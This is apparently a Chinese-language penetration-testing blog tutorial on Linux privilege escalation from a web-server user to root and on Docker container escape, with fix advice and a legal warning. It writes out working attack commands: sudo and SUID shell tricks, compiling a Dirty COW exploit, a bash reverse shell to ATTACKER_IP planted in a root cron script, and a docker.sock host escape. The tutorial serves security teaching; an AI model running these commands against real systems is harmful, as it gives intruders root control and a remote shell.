【后渗透-Linux篇】Linux 提权与逃逸:从 www-data到 root的蜕变

💡 导读 :拿到 Webshell 只是拿到了"访客权限"。在 Linux 系统中,www-dataapache用户几乎什么都干不了------看不到关键信息,改不了系统配置,也没法横向移动。本期我们将学习如何把"访客"变成"主人"(root),这是渗透测试中最激动人心的时刻。


一、 为什么要提权?(权限的边界)

1. 信息收集的需要

  • 普通用户:只能看到自己的文件。

  • Root 用户 :可以读取 /etc/shadow(密码哈希)、全量日志、所有用户的操作记录。

2. 横向移动的跳板

  • 很多内网穿透工具、扫描工具需要 Root 权限才能开启 raw socket 或进行 ARP 欺骗。

3. 权限维持

  • Root 权限意味着你可以修改内核模块、植入开机自启脚本,即使系统重启也能连回来。

二、 提权三板斧:信息收集

"打信息收集就是打一半的仗。" 拿到 Shell 后,第一件事不是乱跑 Exp(漏洞利用程序),而是收集系统情报。

1. 系统指纹
bash 复制代码
# 查看内核版本(最关键,用来找对应 Exp)
uname -a
# 查看发行版
cat /etc/*release
  • 实战意义 :如果内核是 Ubuntu 16.04且内核版本较低,大概率可以用 Dirty COW​ 提权。
2. 当前权限与环境
bash 复制代码
# 我是谁?
whoami
# 我在哪?
pwd
# 有哪些 sudo 权限?(这是最轻松的提权方式)
sudo -l
3. 查找敏感文件
bash 复制代码
# 查找带有 SUID 位的文件(提权黄金点)
find / -perm -4000 2>/dev/null
# 查找配置文件(可能藏密码)
find / -name "config*" -o -name "*.conf" 2>/dev/null

三、 实战演练:四种经典提权手法

1. Sudo 滥用(最简单)

场景sudo -l显示 (ALL) NOPASSWD: /usr/bin/find

利用

bash 复制代码
sudo find /etc/passwd -exec /bin/sh \;
  • 原理find命令拥有 root 权限,并且允许执行外部命令。
2. SUID 提权(最常见)

场景find / -perm -4000发现 /usr/bin/nmap有 SUID 位。

利用(适用于旧版 Nmap):

bash 复制代码
nmap --interactive
nmap> !sh
  • 结果:直接弹回一个 root shell。
3. 内核漏洞提权(核武器)

场景uname -a显示内核 Linux 4.4.0-21-generic

操作

  1. 在 Exploit-DB搜索对应版本的提权 Exp。

  2. 下载 40839.c

  3. 编译执行:

    bash 复制代码
    gcc 40839.c -o dirty
    ./dirty
  4. 结果:获得 root 权限。

4. Cron Job(计划任务)提权

场景 :发现 /etc/crontab中有这么一行:

bash 复制代码
* * * * * root /home/user/clean.sh

利用

bash 复制代码
echo "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /home/user/clean.sh
chmod +x /home/user/clean.sh
  • 原理 :等待一分钟,系统以 root 身份执行 clean.sh,从而反弹 root shell 给攻击者。

四、 2026 年新趋势:容器逃逸(Container Escape)

现在的 Web 服务大多跑在 Docker 容器里。即使你拿到了 root,也只是容器的"假 root"。

1. 判断是否在容器内
bash 复制代码
# 检查 /.dockerenv 文件
ls -la /.dockerenv
# 查看进程数(容器内通常很少)
ps aux
2. 逃逸手法:Docker Socket 挂载

场景 :容器内部存在 /var/run/docker.sock

利用

bash 复制代码
# 在容器内执行,启动一个新容器,并将宿主机根目录挂载进去
docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash
  • 结果:你现在已经是宿主机的 root 了。

五、 防御视角:如何修复?

  1. 及时打补丁:内核漏洞只能通过升级内核修复。

  2. 去除 SUID :移除不必要程序的 SUID 位(chmod u-s /usr/bin/find)。

  3. 配置 Sudoers:禁止普通用户以 root 运行危险命令。

  4. 容器安全绝对不要/var/run/docker.sock挂载进容器。


⚠️ 安全警示与法律红线

🚨 极度危险的警告:

  1. 严禁内核提权测试 :在真实业务服务器上运行内核 Exp(如 Dirty COW)极有可能导致系统崩溃(Kernel Panic),造成业务中断。

  2. 严禁修改系统文件 :在未授权情况下,严禁修改 /etc/passwd/etc/shadow或计划任务。

  3. 靶场练习 :请在 VulnHub (Lin.Security, Kioptrix) ​ 或 **TryHackMe (Linux PrivEsc)**​ 等合法靶场中练习。

提权是系统层面的搏斗。一旦失误,满盘皆输。请在隔离环境中磨练你的刀锋。


💬 互动环节

  • 你在提权时遇到过最尴尬的事是什么?(比如 Exp 编译失败?)

  • 你觉得 SUID 提权和内核提权哪个更实用?

  • 欢迎在评论区留言讨论!

👉 下一期预告:【后渗透-Windows篇】Windows 域渗透 ------ 从本地管理员到域控(DC)的跨越。

相关推荐
jieyucx1 小时前
零基础通关:Shell 编程核心语法全景详解
linux·运维·编程·shell
杨运交1 小时前
[045][Crypto模块]设计一个可扩展的加解密框架:策略模式与工厂模式实战
linux·运维·策略模式
shx_wei2 小时前
从函数调用到进程替换:使用 execl、CMake 与 PowerShell 构建一个多可执行程序
linux·c语言·windows·c
Dlrb12112 小时前
信息查询Web服务器-->电子商城信息查询项目
linux·服务器·数据库·html·嵌入式·epoll·数据查询
纳兰青华2 小时前
在 PVE 上通过 LXC 部署 Ubuntu 24.04:为 OpenClaw 打造轻量高效的 AI 环境
linux·ai编程
Auv开心2 小时前
Ubuntu 20.04 默认视频播放器(Totem)无法播放 MP4 文件,通常是因为缺少多媒体编解码器。以下是几种解决方法:
linux·ubuntu·音视频
seacracker2 小时前
Ceph 太重运维成本高?轻量统一存储 PowerFS 对比测评(HPC/AI 场景首选)
运维·人工智能·ceph·ai存储·统一存储
ZhengO_Oz2 小时前
虚拟机CentOS 网络配置【实操】
运维·服务器·网络